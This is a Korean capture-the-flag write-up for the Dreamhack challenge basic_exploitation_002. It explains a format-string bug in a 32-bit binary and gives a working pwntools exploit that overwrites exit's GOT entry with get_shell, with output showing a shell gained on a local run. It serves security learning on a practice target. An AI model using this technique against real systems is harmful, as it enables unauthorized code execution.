dreamhack - basic_exploitation_002 writeup
[dreamhack] basic_exploitation_002 writeup
1. 문제

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_002)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
간단한 FSB
취약점 문제이다.
처음엔 bof
문제인가? 했는데 gdb
에서 보이는 buf
의 위치가 ebp-0x80
이라 안됐다.
printf
함수를 사용할 때 buf
에 들어있는 값을 기준으로 그냥 출력하므로 서식문자를 이용하는 fsb
취약점을 이용할 수 있다.
입력한 인자가 어디서 출력되는지 확인해보자.
ubuntu@instance-20250406-1126:~/dreamhack/level2/basic_exploitation_002$ ./basic_exploitation_002
aaaa.%p.%p.%p.%p
aaaa.0x61616161.0x2e70252e.0x252e7025.0x70252e70
바로 첫번째 인자에서 출력되는 것을 볼 수 있다.
그러면 이를 이용해서 뭘 덮을 수 있을까 고민했다. 처음에는 저번에 본 문제에서처럼 출력하다보면 main
의 base 주소가 나오나 싶었는데 no PIE
인걸 보니 그런건 아니었고 마지막 exit
함수가 눈에 띄었다. exit
함수의 got
주소를 get_shell
로 덮으면 exit
이 실행될때 쉘이 실행될 것이다.
그렇다면 exit
의 got
주소와 get_shell
의 주소를 확인해보자.
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /home/ubuntu/dreamhack/level2/basic_exploitation_002/basic_exploitation_002:
GOT protection: Partial RELRO | Found 9 GOT entries passing the filter
[0x804a00c] read@GLIBC_2.0 -> 0x8048416 (read@plt+6) ◂— push 0 /* 'h' */
[0x804a010] printf@GLIBC_2.0 -> 0x8048426 (printf@plt+6) ◂— push 8
[0x804a014] signal@GLIBC_2.0 -> 0x8048436 (signal@plt+6) ◂— push 0x10
[0x804a018] alarm@GLIBC_2.0 -> 0x8048446 (alarm@plt+6) ◂— push 0x18
[0x804a01c] puts@GLIBC_2.0 -> 0x8048456 (puts@plt+6) ◂— push 0x20 /* 'h ' */
[0x804a020] system@GLIBC_2.0 -> 0x8048466 (system@plt+6) ◂— push 0x28 /* 'h(' */
[0x804a024] exit@GLIBC_2.0 -> 0x8048476 (exit@plt+6) ◂— push 0x30 /* 'h0' */
[0x804a028] __libc_start_main@GLIBC_2.0 -> 0xf7da1cf0 (__libc_start_main) ◂— endbr32
[0x804a02c] setvbuf@GLIBC_2.0 -> 0x8048496 (setvbuf@plt+6) ◂— push 0x40 /* 'h@' */
pwndbg> p get_shell
$4 = {<text variable, no debug info>} 0x8048609 <get_shell>
둘다 0x0804
의 상위주소를 가지고 있으므로, 하위주소 2바이트만 8609
로 덮어주면 되겠다.
그러면 두가지 방법이 있는데 한번에 2바이트를 덮거나, 1바이트 씩 나눠서 덮을 수도 있다.
아래 exploit에서 두가지 방법 모두를 작성했다.
from pwn import *
p = process("./basic_exploitation_002")
elf = ELF("./basic_exploitation_002")
get_shell = 0x8048609
exit_got = 0x804a024
# exploit 1.
payload = b''
payload += p32(exit_got)
payload += p32(exit_got + 1)
payload += f'%1c%1$hhn'.encode()
payload += f'%125c%2$hhn'.encode()
# exploit 2.
payload2 = b''
payload2 += p32(exit_got)
payload2 += f'%34309c%1$hn'.encode()
p.send(payload)
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/basic_exploitation_002$ python3 e_basic_exploitation_002.py
[+] Starting local process './basic_exploitation_002': pid 2307720
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/basic_exploitation_002/basic_exploitation_002'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[*] Switching to interactive mode
$\xa0\x04\x08%\xa0\x04\x08$ %\x0b\xe6\xad\xff\x02$
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)
여전히 vm 크레딧 없어서 로컬에서만 수행 ㅠㅠ
쉽게 쉽게 해결~